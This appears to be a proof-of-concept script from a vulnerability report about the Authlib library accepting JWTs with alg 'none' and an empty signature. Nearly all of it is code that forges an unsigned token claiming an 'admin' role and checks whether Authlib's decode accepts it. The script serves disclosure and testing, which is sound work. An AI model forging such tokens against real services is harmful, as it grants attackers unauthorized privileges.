Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64


def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk["kid"] = "test-key-001"
    jwk["use"] = "sig"
    jwk["alg"] = "RS256"
    jwks = {"keys": [jwk]}
    return jwks


def create_forged_token_with_alg_none():
    forged_header = {"alg": "none"}
    forged_payload = {
        "sub": "user123",
        "role": "admin",
        "iat": 1735603200,
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode("utf-8")
    ).rstrip(b"=")

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode("utf-8")
    ).rstrip(b"=")

    forged_token = header_b64 + b"." + payload_b64 + b"."
    return forged_token


jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
    claims = jwt.decode(forged_token, jwks)
    print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
    print(f"SECURE: Token rejected - {type(e).__name__}")